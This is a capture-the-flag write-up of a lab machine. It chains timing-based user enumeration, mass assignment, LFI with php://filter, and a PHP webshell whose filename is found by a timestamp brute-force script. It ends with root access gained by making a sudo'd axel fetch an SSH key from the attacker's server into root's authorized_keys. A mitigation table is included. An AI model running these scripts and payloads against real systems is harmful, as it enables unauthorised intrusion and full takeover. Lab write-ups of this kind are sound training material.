Overview

Machine author: irogir. Main skills: side-channel enumeration (timing attack), mass assignment, LFI + PHP wrappers, arbitrary file upload (timestamp brute force), git history leak, Axel .axelrc misconfiguration for arbitrary file write as root.

Chain: timing attack, user enumeration, password guess, mass assignment (role=1), LFI (image.php), php://filter (source disclosure), arbitrary upload + MD5(time()) brute force, RCE, git log in a backup, password reuse, SSH as aaron, sudo netutils (axel), .axelrc default_filename, overwrite /root/.ssh/authorized_keys, SSH as root.

Reconnaissance

1
2
ports=$(nmap -p- --min-rate=1000 -T4 <IP> | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sV -sC <IP>
  • 22/tcp OpenSSH 7.6p1 (Ubuntu)
  • 80/tcp Apache 2.4.29, “Simple WebApp”, redirects to ./login.php, PHPSESSID without HttpOnly
1
gobuster dir -u http://<IP> -w /usr/share/wordlists/dirb/common.txt -x php

Interesting files (302 to login.php, so they need a session): upload.php, profile.php, header.php, image.php, js/, login.php, logout.php. upload.php and image.php exist but are behind auth.

Initial Access

Side-channel enumeration (timing attack)

Logging in with random data returns “Invalid username or password”. When the username exists (for example admin), the response is noticeably slower.

Measure with time (bash; zsh does not support this syntax):

1
2
3
4
# nonexistent user  -> ~0.13 s
time curl -X POST http://<IP>/login.php\?login\=true --data "user=test&password=test" -s | grep Invalid
# existing user     -> ~1.2 s
time curl -X POST http://<IP>/login.php\?login\=true --data "user=admin&password=test" -s | grep Invalid

The application computes a bcrypt hash only when the user exists. bcrypt is deliberately slow (work factor $2y$10$...), so the presence of a user is revealed by a ~1 s difference: user enumeration via a timing side channel.

Automation:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#!/bin/bash
file="/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt"
TIMEFORMAT=%R          # real time only
threshold="1.190"      # tune to your latency

check_username () {
  time=$( { time curl -s -X POST http://<IP>/login.php\?login\=true \
            --data "user=$1&password=admin" > /dev/null; } 2>&1 )
  if (( $(echo "$time > $threshold" | bc -l) )); then
    echo "$1 | $time"
  fi
}

while IFS= read -r line; do
  check_username "$line" &   # parallelize
  sleep 0.01                 # do not flood the server
done < "$file"

Result: admin and aaron are valid.

Password: trivially aaron:aaron. Alternatively Hydra:

1
2
hydra -l aaron -P /usr/share/wordlists/rockyou.txt <IP> http-post-form \
  '/login.php?login=true:user=^USER^&password=^PASS^:Invalid'

The threshold depends on your RTT to HTB. Measure a known nonexistent user and a known existing user (admin), take the midpoint. Too low means false positives; too high means missed valid users.

Mass assignment / IDOR on role

After login, “Edit Profile” is unlocked. POST /profile_update.php returns a JSON user state with a hidden parameter:

1
{ "username":"aaron", "role":"0", "company":"test", ... }

role is not in the form but is in the response. Inject it into the request:

1
2
3
4
POST /profile_update.php
Content-type: application/x-www-form-urlencoded

firstName=test&lastName=test&email=test&company=test&role=1

The server accepts it, role:"1". After refreshing, an Admin panel (avatar upload) appears.

Mass assignment: the backend binds all POST parameters to the user object without a whitelist. Hiding a field only in HTML/JS is not access control.

LFI (image.php)

In the admin page source:

1
<script src="js/avatar_uploader.js"></script>

In js/avatar_uploader.js:

1
document.getElementById("main").style.backgroundImage = "url('/image.php?img=images/background.jpg'"

image.php?img=<path> loads files, a candidate for LFI.

1
2
curl http://<IP>/image.php\?img\=/etc/passwd     # -> "Hacking attempt detected!" (a filter)
curl http://<IP>/image.php\?img\=login.php        # -> renders login.php => LFI via include()

Rendering (not source disclosure) reveals that image.php uses include(), which also gives RCE later.

PHP filter wrapper, read the source:

1
2
3
curl -s http://<IP>/image.php\?img\=php://filter/convert.base64-encode/resource=index.php | base64 -d
curl -s http://<IP>/image.php\?img\=php://filter/convert.base64-encode/resource=/etc/passwd | base64 -d
curl -s http://<IP>/image.php\?img\=php://filter/convert.base64-encode/resource=upload.php | base64 -d

php://filter/convert.base64-encode returns content as base64 (bypassing the include that would otherwise execute PHP). Ideal for source audit.

Analysing upload.php, how the filename is built

1
2
3
4
5
6
7
include("admin_auth_check.php");
$upload_dir = "images/uploads/";
...
$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
...
if ($imageFileType != "jpg") { $error = "This extension is not allowed."; }

Key observations:

  1. A quoting bug: '$file_hash' is in single quotes, so PHP does not interpolate the variable. The literal string "$file_hash" goes into MD5, not the uniqid() value. One component is constant and known.
  2. The other component is time(), the Unix timestamp at upload (known to the second).
  3. Name = md5("$file_hash" . <timestamp>) . "_" . <original_name>.
  4. Only the extension is checked (jpg); the content is not validated, so PHP inside a .jpg is possible.
  5. The upload goes to images/uploads/.

The filename is fully predictable, so brute-force by timestamp.

RCE, upload + brute force + LFI

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import requests, time, hashlib, sys

def md5(t): return hashlib.md5(t.encode()).hexdigest()

upload_dir = "http://<IP>/images/uploads/"
file_name  = "_shell.jpg"          # suffix = "_" + original name
upload_time = round(time.time())

while True:
    guess = md5('$file_hash' + str(upload_time)) + file_name
    path = upload_dir + guess
    if requests.get(path).status_code == 200:
        print("[+] Found", path); sys.exit()
    upload_time -= 1               # step backward in time
1
2
3
echo '<?php system($_GET["cmd"]); ?>' > shell.jpg
# upload via the admin panel, then:
python3 brute.py     # finds .../90dd...2de4_shell.jpg

Apache will not execute PHP in .jpg, but image.php uses include():

1
2
curl "http://<IP>/image.php?img=images/uploads/<hash>_shell.jpg&cmd=id"
# -> uid=33(www-data) gid=33(www-data)

RCE as www-data.

Lateral Movement

Firewall, no reverse shell

1
2
3
4
5
# locally:
sudo tcpdump -i tun0 icmp
# from the target:
curl "http://<IP>/image.php?img=...shell.jpg&cmd=ping+<YOUR_IP>"
# -> "Destination Port Unreachable" / no ICMP => egress is firewalled

Reverse shell is out; work through the web RCE.

Backup in /opt

1
2
3
4
curl "...&cmd=ls+-la+/opt"                       # source-files-backup.zip (root, but world-readable)
curl "...&cmd=cp+/opt/source-files-backup.zip+/var/www/html"
wget http://<IP>/source-files-backup.zip
unzip source-files-backup.zip && cd backup && ls -al   # contains a .git directory

Git history

1
2
git log        # two commits: "init" and "db_conn updated"
git diff master <hash_of_first_commit>

Diff of db_conn.php:

1
2
-'root', '4_V3Ry_l0000n9_p422w0rd'
+'root', 'S3cr3t_unGu3ss4bl3_p422w0Rd'

The DB password is in the commit history. Test reuse for SSH:

1
ssh aaron@<IP>        # password: S3cr3t_unGu3ss4bl3_p422w0Rd  -> works

user.txt is in /home/aaron. Secrets removed in a newer commit are still in history. Tools: git log -p, gitleaks, truffleHog.

Privilege Escalation

Axel .axelrc (arbitrary file write as root)

1
2
3
4
5
6
7
sudo -l
# (ALL) NOPASSWD: /usr/bin/netutils

file /usr/bin/netutils     # Bourne-Again shell script
cat  /usr/bin/netutils
#! /bin/bash
java -jar /root/netutils.jar   # the jar is not readable

netutils.jar is unreadable, so study behaviour, not code.

Identify the underlying tool:

1
2
nc -lvp 8000                 # local listener
sudo /usr/bin/netutils       # [1] HTTP -> Enter Url: http://<YOUR_IP>:8000/

In the listener:

1
User-Agent: Axel/2.16.1 (Linux)

This is Axel, a download accelerator. Root runs axel to download files.

Research the tool:

1
2
sudo apt install axel
man axel

The FILES section:

1
2
/etc/axelrc     System-wide configuration file.
~/.axelrc       Personal configuration file.        <-- per-user config in HOME

Example config in /usr/share/doc/axel/examples/:

1
2
# When downloading a HTTP directory/index page ...
# default_filename = default        <-- where to save the downloaded file

Exploit: when downloading a directory / index page (a URL ending in /, with no specific filename), axel uses default_filename to decide the save path. We control ~/.axelrc (our own home), and axel runs as root, so this is an arbitrary write as root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 1) locally: a key pair
ssh-keygen -f timing

# 2) an HTTP server serving timing.pub at "/" (so the URL can end in "/")
cat > server.py <<'EOF'
import http.server, socketserver
class H(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/':
            self.path = 'timing.pub'
        return super().do_GET()
socketserver.TCPServer(("", 8000), H).serve_forever()
EOF
python3 server.py

# 3) on the target, in /home/aaron:
echo 'default_filename = /root/.ssh/authorized_keys' > ~/.axelrc

# 4) run netutils and download the "index" (a URL with "/"):
sudo /usr/bin/netutils    # [1] HTTP -> http://<YOUR_IP>:8000/
#   -> Opening output file /root/.ssh/authorized_keys

# 5) log in as root:
ssh -i timing root@<IP>    # uid=0(root)

root.txt is in /root.

The server.py snippet in the public writeup omits the imports (import http.server, socketserver), causing NameError: name 'http' is not defined. Add the imports.

The URL must end in /: if you supply http://IP/file, axel takes the name from the URL and ignores default_filename.

Why this works, a methodology

When you can run something as root (sudo -l) and it invokes a known external tool, do not guess a vulnerability; enumerate the tool’s configuration mechanisms. Every proper Unix tool has three influence vectors:

  1. Environment variables (for example LD_PRELOAD, PATH, HOME, tool-specific).
  2. Config files, usually in two places:
    • system-wide: /etc/<tool>rc
    • per-user: ~/.<tool>rc (in HOME), which you control
  3. Arguments / input you supply.

Step by step:

  • How did we know it was axel? Not from a config; we told netutils to connect to our listener and read User-Agent: Axel/2.16.1. The first instinct with an unknown wrapper: make it talk to you and see how it identifies itself.
  • How did we know axel reads ~/.axelrc? From man axel, the FILES section. The Unix convention of a per-user rc file in $HOME is universal (.bashrc, .vimrc, .gitconfig, .wgetrc, .curlrc), so for any tool run as root, check for an rc file in HOME.
  • Where did default_filename come from? From the example config (/usr/share/doc/axel/examples/), which the man page points to. Read the parameters asking “which parameter controls WHERE the downloaded file lands?”.
  • Why is that privesc? axel downloads files and writes them to disk, runs as root, and we control both the destination (default_filename in our ~/.axelrc) and the content (served by our HTTP). That is arbitrary file write as root. Canonical targets: /root/.ssh/authorized_keys (used here), /etc/passwd / /etc/shadow, /etc/sudoers or /etc/sudoers.d/*, cron (/etc/cron.d/*, /etc/crontab), a script/binary run by root.

Why does axel read .axelrc from /home/aaron, not /root, when it runs as root? Because sudo on this machine (Ubuntu 18.04, env_reset in sudo -l) does not reset $HOME to root’s home by default; it keeps the calling user’s HOME unless always_set_home/set_home is enabled. axel does open($HOME/.axelrc) = /home/aaron/.axelrc even though the process is uid 0. Always check the flags in sudo -l (env_reset, env_keep, secure_path, always_set_home); they decide which variables (including HOME, PATH) the root process sees.

Checklist for “sudo wrapper invokes tool X”:

  1. sudo -l: what, as whom, with which flags.
  2. file + cat the wrapper: which tool it actually runs.
  3. If you do not know the tool, make it identify itself (listener + User-Agent, --version, strace, ltrace).
  4. man <tool>: FILES, ENVIRONMENT, CONFIGURATION sections.
  5. Check the per-user rc in HOME (~/.<tool>rc); you control it.
  6. Check environment variables that influence behaviour (do HOME/PATH pass through sudo?).
  7. Find a parameter that gives arbitrary write / arbitrary command / path hijack, then pick a target (authorized_keys, sudoers, cron, passwd).

Detection and Mitigation

StageVulnerabilityRoot causeFix
User enumTiming side channelbcrypt only computed for existing usersConstant-time response / dummy hash for nonexistent users
Privilege bumpMass assignment (role)All POST params bound without a whitelistField whitelist, server-side checks
Source disclosureLFI + php://filterUser-controlled include()Path whitelist, basename, no wrappers
RCEArbitrary upload + predictable nameOnly extension validated, md5(time())Content validation (magic bytes), CSPRNG names, upload outside the web root, no execution
LateralSecret in git historyCommit plus “removal” in a newer commitRotate secrets, git filter-repo, secret scanning in CI
PrivescAxel .axelrc default_filenameroot reads config from the user’s HOME (arbitrary write)always_set_home in sudoers, no sudo on tools that read user config

Lessons Learned

  • A timing side channel enumerates users when an expensive operation (bcrypt) runs only for valid accounts.
  • Hidden form fields are not access control.
  • php://filter reads source without executing it.
  • A predictable upload filename is brute-forceable.
  • Removed git secrets are still in history.
  • For a sudo wrapper around a known tool: enumerate its config mechanisms, do not guess.

Command Reference

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
# recon
ports=$(nmap -p- --min-rate=1000 -T4 <IP> | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sV -sC <IP>

# LFI source disclosure
curl -s "http://<IP>/image.php?img=php://filter/convert.base64-encode/resource=upload.php" | base64 -d

# RCE
python3 brute.py     # find the uploaded shell name
curl "http://<IP>/image.php?img=images/uploads/<hash>_shell.jpg&cmd=id"

# lateral
git log; git diff master <first_commit>
ssh aaron@<IP>       # S3cr3t_unGu3ss4bl3_p422w0Rd

# privesc
echo 'default_filename = /root/.ssh/authorized_keys' > ~/.axelrc
sudo /usr/bin/netutils    # [1] HTTP -> http://<YOUR_IP>:8000/
ssh -i timing root@<IP>